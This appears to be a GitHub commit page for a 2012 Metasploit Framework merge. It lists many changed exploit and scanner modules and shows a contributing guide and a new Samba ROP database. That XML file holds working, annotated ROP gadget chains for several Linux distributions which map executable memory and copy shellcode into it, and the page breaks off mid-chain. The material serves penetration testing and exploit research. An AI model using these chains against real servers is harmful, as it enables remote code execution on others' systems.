Permalink
Browse files

Merge branch 'master' into release

Fixed trailing commas.

Conflicts:
	modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
	modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
	modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
	modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
  • Loading branch information...
2 parents 3ecb928 + a479d00 commit 28192660c59a379e3124acb92c0333929ee0da8a @blt04 blt04 committed Nov 19, 2012
Showing with 4,732 additions and 461 deletions.
  1. +33 −0 CONTRIBUTING.md
  2. +3 −2 README.md
  3. BIN data/gui/msfgui.jar
  4. +436 −0 data/ropdb/samba.xml
  5. +13 −0 data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb
  6. +14 −0 data/wordlists/sap_default.txt
  7. +6 −1 external/source/gui/msfguijava/src/msfgui/MainFrame.java
  8. +7 −0 external/source/gui/msfguijava/src/msfgui/MsfguiApp.java
  9. +5 −5 lib/anemone/core.rb
  10. +7 −0 lib/anemone/extractors/anchors.rb
  11. +12 −0 lib/anemone/extractors/dirbuster.rb
  12. +10 −0 lib/anemone/extractors/dirbuster/directories
  13. +7 −0 lib/anemone/extractors/forms.rb
  14. +7 −0 lib/anemone/extractors/frames.rb
  15. +50 −0 lib/anemone/extractors/generic.rb
  16. +7 −0 lib/anemone/extractors/links.rb
  17. +24 −0 lib/anemone/extractors/meta_refresh.rb
  18. +7 −0 lib/anemone/extractors/scripts.rb
  19. +61 −39 lib/anemone/page.rb
  20. +19 −20 lib/anemone/rex_http.rb
  21. +1 −3 lib/msf/core/auxiliary/mixins.rb
  22. +284 −0 lib/msf/core/auxiliary/web.rb
  23. +136 −0 lib/msf/core/auxiliary/web/analysis/differential.rb
  24. +34 −0 lib/msf/core/auxiliary/web/analysis/taint.rb
  25. +103 −0 lib/msf/core/auxiliary/web/analysis/timing.rb
  26. +245 −0 lib/msf/core/auxiliary/web/form.rb
  27. +109 −0 lib/msf/core/auxiliary/web/fuzzable.rb
  28. +299 −0 lib/msf/core/auxiliary/web/http.rb
  29. +128 −0 lib/msf/core/auxiliary/web/path.rb
  30. +144 −0 lib/msf/core/auxiliary/web/target.rb
  31. +6 −0 lib/msf/core/db.rb
  32. +2 −0 lib/msf/core/exploit/mixins.rb
  33. +142 −0 lib/msf/core/exploit/web.rb
  34. +27 −0 lib/rex/text.rb
  35. +3 −3 modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
  36. +82 −41 modules/auxiliary/scanner/http/crawler.rb
  37. +24 −3 modules/auxiliary/scanner/http/drupal_views_user_enum.rb
  38. +44 −25 modules/auxiliary/scanner/http/impersonate_ssl.rb
  39. +2 −2 modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
  40. +2 −2 modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
  41. +122 −0 modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb
  42. +153 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb
  43. +107 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb
  44. +148 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
  45. +109 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb
  46. +311 −0 modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb
  47. +166 −0 modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
  48. +174 −0 modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
  49. +109 −0 modules/auxiliary/scanner/scada/modbus_findunitid.rb
  50. +4 −2 modules/auxiliary/scanner/scada/modbusdetect.rb
  51. +151 −173 modules/auxiliary/scanner/smb/smb_login.rb
  52. +14 −9 modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb
  53. +153 −83 modules/exploits/linux/samba/setinfopolicy_heap.rb
  54. +2 −1 modules/exploits/multi/browser/java_jre17_jaxws.rb
  55. +161 −0 modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
  56. +2 −2 modules/exploits/windows/fileformat/ms12_005.rb
  57. +30 −0 modules/exploits/windows/local/bypassuac.rb
  58. +2 −2 modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
  59. +174 −0 modules/exploits/windows/oracle/client_system_analyzer_upload.rb
  60. +7 −7 modules/payloads/singles/windows/dns_txt_query_exec.rb
  61. +6 −6 modules/payloads/singles/windows/{download_exec_https.rb → download_exec.rb}
  62. +82 −30 modules/post/windows/gather/enum_dirperms.rb
View
33 CONTRIBUTING.md
@@ -0,0 +1,33 @@
+# Contributing to Metasploit
+
+## Reporting Bugs
+
+If you would like to report a bug, please take a look at [our Redmine
+issue
+tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
+-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
+
+If your bug is new and you'd like to report it you will need to
+[register
+first](https://dev.metasploit.com/redmine/account/register). Don't
+worry, it's easy and fun and takes about 30 seconds.
+
+## Contributing Metasploit Modules
+
+If you have an exploit that you'd like to contribute to the Metasploit
+Framework, please familiarize yourself with the
+**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
+document in the
+Metasploit-Framework repository. There are many mysteries revealed in
+HACKING concerning code style and content.
+
+[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
+should corellate with modules at a 1:1 ratio
+-- there is rarely a good reason to have two, three, or ten modules on
+one pull request, as this dramatically increases the review time
+required to land (commit) any of those modules.
+
+Pull requests tend to be very collaborative for Metasploit -- do not be
+surprised if your pull request to rapid7/metasploit-framework triggers a
+pull request back to your own fork. In this way, we can isolate working
+changes before landing your PR to the Metasploit master branch.
View
5 README.md
@@ -40,10 +40,11 @@ reading some of the great tutorials online:
Contributing
--
-See the [Dev Environment Setup][wiki-devenv] guide on github which will
+See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
dependencies, to cloning the repository, and finally to submitting a
-pull request.
+pull request. For slightly more info, see
+[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
View
BIN data/gui/msfgui.jar
Binary file not shown.
View
436 data/ropdb/samba.xml
@@ -0,0 +1,436 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<db>
+<rop>
+ <compatibility>
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
+ </compatibility>
+
+ <!--
+ dpkg -l|grep libgcrypt
+ ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
+ b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
+ b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
+ <gadget offset="0x00071ad4">offset of .got.plt section</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
+ <gadget offset="0x00071af4">mmap@got - 4</gadget>
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
+ <gadget offset="0x00009974">jmp eax</gadget>
+ <gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
+ <gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
+ <gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
+ <gadget offset="0x00063dbf">pop eax ; ret</gadget>
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
+ <gadget offset="0x00071b6c">memcpy@got - 4</gadget>
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <!-- set ecx to same value than edx -->
+ <gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
+ <gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
+ <gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
+ <gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+
+
+
+
+</rop>
+<rop>
+ <compatibility>
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
+ </compatibility>
+
+ <!--
+ dpkg -l|grep libgcr
+ ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
+ b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
+ b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
+ b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
+ <gadget offset="0x00082ff4">offset of .got.plt section</gadget>
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
+ <gadget offset="0x000830a4">mmap@got - 4</gadget>
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
+ <gadget offset="0x00007d79">jmp eax</gadget>
+ <gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
+ <gadget offset="0x00084000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
+ <gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x0006933f">pop eax ; ret</gadget>
+ <gadget offset="0x00084100">eax = writable location, in GOT</gadget>
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
+ <gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
+ <gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
+ <gadget value ="0x00000000">junk for ebx</gadget>
+ <gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
+ <gadget value ="0x00000000">junk for edi</gadget>
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
+ <gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
+ <gadget offset="0x00083024">memcpy@got - 4</gadget>
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <gadget offset="0x00004803">pop esi ; ret</gadget>
+ <gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
+ <gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+</rop>
+<rop>
+ <compatibility>
+ <target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
+ </compatibility>
+
+ <!--
+ dpkg -l|grep libgcr
+ ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
+ b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
+ b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
+ b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
+
+ we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
+ 4 first pops are after pop esp
+ -->
+ <gadgets base="0">
+ <gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
+ <gadget offset="0x00007f19">jmp eax</gadget>
+ <gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
+ <gadget offset="0x0005c45c">pop ecx ; ret</gadget>
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
+ <gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
+ <gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
+ <gadget offset="0x0007204c">memcpy@got - 4</gadget>
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <gadget offset="0x00060e5a">pop esi ; ret</gadget>
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
+ <gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+ </rop>
+
+ <rop>
+ <compatibility>
+ <target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
+ </compatibility>
+
+ <!--
+ dpkg -l|grep libgcrypt
+ ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
+ b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
+ b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
+ b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
+ <gadget offset="0x00071ff4">offset of .got.plt section</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
+ <gadget offset="0x0000922c">jmp eax</gadget>
+ <gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
+ <gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
+ <gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
+ <gadget offset="0x0006421f">pop eax ; ret</gadget>
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
+ <gadget offset="0x00072094">memcpy@got - 4</gadget>
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <!-- set ecx to same value than edx -->
+ <gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
+ <gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
+ <gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+
+
+ </rop>
+
+ <rop>
+ <compatibility>
+ <target>3.5.10-0.107.el5 on CentOS 5</target>
+ </compatibility>
+
+ <!--
+ yum list |grep libgcrypt
+ libgcrypt.i386 1.4.4-5.el5 installed
+ 02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
+ 02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
+ section is writable and executable, we'll copy the shellcode over there instead of using mmap
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
+ <gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
+ <gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
+ <gadget offset="0x0006a73f">pop eax ; ret</gadget>
+ <gadget offset="0x0007effc">memcpy@got - 4</gadget>
+ <gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
+ <gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
+ <gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
+ <gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
+ <gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
+ <gadget value ="0x00000000">junk for ebp **1**</gadget>
+ <gadget offset="0x0006200a">pushad ; ret</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+
+
+ </rop>
+
+
+
+
+
+ <!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
+
+ <compatibility>
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
+ </compatibility>
+
+ <gadgets base="0">
+ <gadget offset="0x0000f3b1">pop eax; ret</gadget>
+ <gadget offset="0x00991ff0">mmap64@got</gadget>
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
+ <gadget offset="0x008c8997">jmp eax</gadget>
+ <gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
+ <gadget offset="0x0034fbd2">pop edx ; ret</gadget>
+ <gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
+ <gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
+ <gadget value ="0x00000000">junk for esi</gadget>
+ <gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
+ <gadget offset="0x0008c5ac">pop eax; ret</gadget>
+ <gadget offset="0x00991904">memcpy@got</gadget>
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x0002ab2c">pushad, ret</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+
+
+ ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
+ <compatibility>
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
+ </compatibility>
+
+ <gadgets base="0">
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
+ <gadget offset="0x008c1008">mmap64@got</gadget>
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
